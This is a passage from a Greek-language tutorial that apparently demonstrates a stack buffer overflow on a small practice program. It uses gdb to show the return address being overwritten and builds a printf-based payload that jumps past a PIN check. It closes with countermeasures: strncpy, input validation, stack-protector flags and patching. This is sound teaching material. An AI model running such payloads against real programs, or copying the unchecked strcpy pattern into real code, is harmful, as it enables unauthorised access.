Εικόνα 10: Βάζουμε δύο breakpoints στην συνάρτηση process_data για να ελέγξουμε το buffer overflow

Το ένα breakpoint το βάζουμε στην αρχή της συνάρτησης, πριν γίνει η υπερχείλιση και το άλλο το βάζουμε στο τέλος της συνάρτησης ώστε (μόλις φτάσει εκεί η λειτουργικότητα του προγράμματος) να ελέγξουμε αν έχει γίνει overwrite η return-address. Ας εκτελέσουμε (μέσα από τον debugger) το πρόγραμμα δίνοντας μια πολύ μεγάλη τιμή σαν παράμετρο. Στην εικόνα 11 φαίνονται όλες οι κινήσεις μας.

Δίνουμε:

run aaaaaaaaaabbbccc

Το πρόγραμμα θα σταματήσει στο 1ο breakpoint. Δίνουμε τώρα την εντολή x/10x $ebp για να δούμε τις τιμές που βρίσκονται στο stack από την τιμή του EBP και 10 θέσεις μετά.

Παρατηρήστε την τιμή   0x08048483. Είναι η διεύθυνση που τονίσαμε στην εικόνα 9. Είναι η  return address! Αυτή την διεύθυνση πρέπει να “προσέχουμε” ώστε αν αλλάξει θα σημαίνει οτι έχει γίνει overwrite από κάτι άλλο. Φυσικά, κάτω από κανονικές συνθήκες αυτή η διεύθυνση πρέπει να μείνει ίδια κι απαράλλακτη μέχρι το τέλος της process_data. Αλλά τώρα, δεν μιλάμε για... κανονικές συνθήκες, έτσι δεν είναι; Για να δούμε!

Δίνουμε την εντολή cont για συνεχίσουμε στο επόμενο break point (δηλαδή μέχρι το τέλος της συνάρτησης). Όπως βλέπετε και στην εικόνα 11, η διεύθυνση έγινε overwrite με τους χαρακτήρες 63636363.

Το ερώτημα που τίθεται τώρα (και καλά!!!) είναι τι είναι αυτά τα 63άρια και από που ήρθαν. Χμ... αν σκεφτούμε λιγάκι πονηρά (ή αν έχουμε διαβάσει παραπάνω) θα δούμε οτι το 63 είναι ένας δεκαεξαδικός αριθμός και αντιπροσωπεύει έναν χαρακτήρα στον κώδικα ASCII. Τον χαρακτήρα “c”. Είχαμε δώσει εμείς πουθενά “c” στην παράμετρο που περάσαμε στο πρόγραμμα; Μα βέβαια! Για την ακρίβεια είχαμε δώσει “aaaaaaaaaabbbbcccc”. Στην θέση που βρίσκεται το cccc μέσα στην παράμετρο μας αντιστοιχεί η return address της συνάρτησης process_data.

Όπως είδατε και στον πηγαίο κώδικα που σας δώσαμε στην αρχή η συνάρτηση process_data έχει μια τοπική μεταβλητή μήκους 10 χαρακτήρων (bytes): Την userdata. Αυτή η userdata γίνεται overflow από την παράμετρο “aaaaaaaaaabbbbcccc” με αποτέλεσμα να γεμίζει το stack και να γράφονται και περιοχές που κανονικά δεν θα έπρεπε να γραφτούν. Μια τέτοια είναι και η return address. Αν συνεχίσουμε την εκτέλεση του προγράμματος θα “φάμε” ένα πολύ όμορφο “Segmentation Fault (core dumped)” διότι μόλις τελειώσει η συνάρτηση μου, θα προσπαθήσει να επιστρέψει στην εντολή που βρίσκεται στην διεύθυνση 0x63636363. Όπως καταλαβαίνετε μια τέτοια διεύθυνση δεν υπάρχει – ή αν υπάρχει είναι σχεδόν απίθανο να περιέχει κάτι που θα καταλαβαίνει το πρόγραμμα μας ως εντολές!


Εικόνα 11: κάνοντας debugging το εκτελέσιμο αρχείο...

Ο βασικός μας στόχος είναι (εφόσον είδαμε οτι πράγματι το πρόγραμμα πάσχει από την ασθένεια buffer overflow) να βάλουμε στην θέση της σειράς cccc μια πραγματική διεύθυνση ώστε αντί να πάρουμε “segmentation fault” να οδηγήσουμε το πρόγραμμα εκεί που εμείς θέλουμε. Τι θα λέγατε να το ανακατευθύνουμε σε μια άλλη διεύθυνση μέσα στο ίδιο το πρόγραμμα ώστε να παρακάμψουμε τον έλεγχο του PIN. Η διεύθυνση αυτή εύκολα μπορεί να βρεθεί: πρόκειται για την διεύθυνση 0x0804849a στην οποία βρίσκεται η εντολή που αναφέρει την επιτυχία της εισαγωγής του κωδικού PIN (για όσους θέλουν να την βρουν, τους λέμε φαίνεται στην εικόνα 9). Το πρόβλημα τώρα είναι στο πως θα “περάσουμε” αυτή την διεύθυνση σαν παράμετρο στο πρόγραμμά μας. Εδώ πρέπει να κάνουμε μερικά κολπάκια...

Για να μπορέσει το πρόγραμμα να καταλάβει μια παράμετρο η οποία περιέχει αριθμούς σε 16δική μορφή θα χρειαστεί να χρησιμοποιήσουμε το command line utility printf. Δίνοντας από την γραμμή εντολών printf “Hello World.\n” θα πάρουμε κάτι τέτοιο:

[[email protected] ~]$ printf "Hello World.\n"

Hello World.

[[email protected] ~]$

Θα χρησιμοποιήσουμε αυτό το utility για να τυπώσουμε τον αριθμό που θέλουμε ώστε να ερμηνευτεί από το πρόγραμμα σαν 16δικός. Για να γίνει αυτό πρέπει να χρησιμοποιήσουμε ένα ακόμα συμβολισμό: Οι 16δικοί αριθμοί για να γίνουν κατανοητοί από το πρόγραμμα πρέπει να ξεκινάνε πάντα με \x. Έτσι ο 0804849a πρέπει να γραφεί ως \x08\x04\x84\x9a. Άρα η σειρά “aaaaaaaaaabbbbcccc” πρέπει να γίνει “aaaaaaaaaabbbb\x08\x04\x84\x9a” για να λειτουργήσει; Χμ... περίπου. Μας λείπει ακόμα μια μικρή λεπτομέρεια. Λόγω της δομής του stack οι αριθμοί πρέπει να εισαχθούν με την... ανάποδη σειρά για να μπορέσουν να διαβαστούν έτσι όπως θέλουμε για να αποτελέσουν πραγματική διεύθυνση. Άρα η σωστή παράμετρος μας είναι η παρακάτω: aaaaaaaaaabbbb\x9a\x84\x04\x08. Συνδυάζοντας αυτήν την παράμετρο με την printf το μικρό μας... exploitation επιτυγχάνει ως (εικόνα 12) :

./vuln `printf "aaaaaaaaaa0000\x9a\x84\x04\x08"`



Εικόνα 12: Παρά το segmentation fault, παρακάμψαμε τον έλεγχο του PIN...


Αντίμετρα

Η διαδικασία δοκιμής και εύρεσης αδυναμιών buffer oeverflow δεν είναι καθόλου εύκολη διαδικασία και πολλές φορές μπορεί να διαρκέσει αρκετές ημέρες. Απαιτεί γνώση των ιδιαιτεροτήτων και του συγκεκριμένου kernel, της εσωτερικής δομής και λειτουργίας ενός προγράμματος καθώς  και της γλώσσας προγραμματισμού που χρησιμοποιήθηκε για να δημιουργηθεί. Αντίμετρα για να αποφύγουμε καταστάσεις σαν αυτή που περιγράψαμε υπάρχουν πολλά και υλοποιούνται σε όλα τα επίπεδα της ανάπτυξης. Συγκεκριμένα, ισχύουν τα ακόλουθα:

Η συγκεκριμένη αδυναμία που μόλις βρήκαμε οφείλετε στην γραμμή 4 του προγράμματος μας, δηλαδή στην:
 strcpy(data, userdata);

Η buld-in συνάρτηση strcpy δεν πραγματοποιεί έλεγχο υπερχείλισης, με όλα τα άσχημα επακόλουθα που είδαμε. Μια εύκολη και γρήγορη λύση για να ξεπεράσουμε αυτό το πρόβλημα είναι να χρησιμοποιήσουμε στην θέση της την strncpy η οποία κάνει έλεγχο μεγέθους. Δηλαδή η παραπάνω εντολή θα γίνει:
strncpy(data, userdata,9);

Ποτέ (μα ποτέ) δεν πρέπει να εμπιστευόμαστε το input που πήρατε από τον χρήστη. Πρέπει να ελέγχουμε πάντα (εμείς οι προγραμματιστές) τόσο από πλευράς μεγέθους όσο και και από πλευράς περιεχομένου τα δεδομένα που εισάγονται στα προγράμματα μας.

Μπορούμε επίσης, να κάνουμε χρήση συγκεκριμένων flags κατά την μεταγλώττιση των προγραμμάτων μας. Για παράδειγμα ο gcc compiler 4.4.4 που χρησιμοποιήσαμε μας παρείχε τις εξής:

fstack-protector: προστατεύει όλες τις συναρτήσεις με μεταβλητές τύπου χαρακτήρων (όπως αυτή στο παράδειγμα μας) για υπερχείλιση.

fstack-protector-all flag: προστατεύει όλες τις συναρτήσεις, ανεξαρτήτου τύπου μεταβλητών, για υπερχείλιση.

Τις οποίες αν είχαμε χρησιμοποιήσει ακόμα και με την strcpy δεν θα είχαμε πρόβλημα.
Πρέπει να κρατάμε το σύστημα μας ενημερωμένο με τις τελευταίες αλλαγές ασφαλείας που προσφέρονται από τον κατασκευαστή.

 

Anti-Επιλόγος…

Υπάρχουν πολλά είδη επιθέσεων buffer overflow που αφορούν στα διάφορα μέρη μνήμης που χρησιμοποιεί ένα πρόγραμμα:
Stack Overflow: Επιθέσεις στο Stack Segment (βλέπε παραπάνω). Τα παραδείγματα που δώσαμε είναι επιθέσεις stack overflow.
Heap Overflow: Επιθέσεις στο Heap, στο κομμάτι μνήμης που μπορεί ένα πρόγραμμα να ζητήσει από το λειτουργικό σύστημα και το οποίο θα του αποδοθεί δυναμικά (http://www.maxpatrol.com/defeating-xpsp2-heap-protection.htm).

Θα μπορούσαμε να συζητάμε για ώρες ή για... «σελίδες» επάνω σε αυτό το θέμα, εφόσον τα θέματα που υπεισέρχονται μπορούν να αποτελέσουν άρθρα από μόνα τους. Παρ’ όλα αυτά θεωρούμε οτι δώσαμε μια συνοπτική περιγραφή του προβλήματος με πραγματικά παραδείγματα βγαλμένα μέσα από την... «ζωή»! ;-)

Μην ξεχνάτε, πως για να μπορέσεις να αμυνθείς θα πρέπει να μάθεις να σκέφτεσαι όπως ακριβώς αυτός που σου επιτίθεται. Μην με ρωτήσετε ποιος φταίει και ποιος δεν φταίει, ποιος ξεκίνησε πρώτος τον «καυγά» κλπ κλπ. Το θέμα είναι οτι αν βρεθείς στην μέση της ζούγκλας πρέπει να μάθεις να επιβιώνεις!

Σας παρουσιάσαμε σε λίγες σελίδες θέματα που μπορεί να χρειάζονται αρκετά κεφάλαια ενός βιβλίου για να περιγραφούν αναλυτικά. Τόσο από πλευράς επίθεσης όσο και από πλευράς άμυνας. Ο στόχος μας ήταν να ξύσουμε λίγο την κορυφή ενός παγόβουνου που ονομάζεται ασφάλεια πληροφοριακών συστημάτων και να εξάψουμε την φαντασία σας για προσωπική έρευνα και μελέτη έχοντας πάντα στο μυαλό μας οτι η γνώση είναι δύναμη που δεν πρέπει να μένει σε λίγους.

Happy Hacking...

  • Σχόλια

0 Comments:

Scroll to Top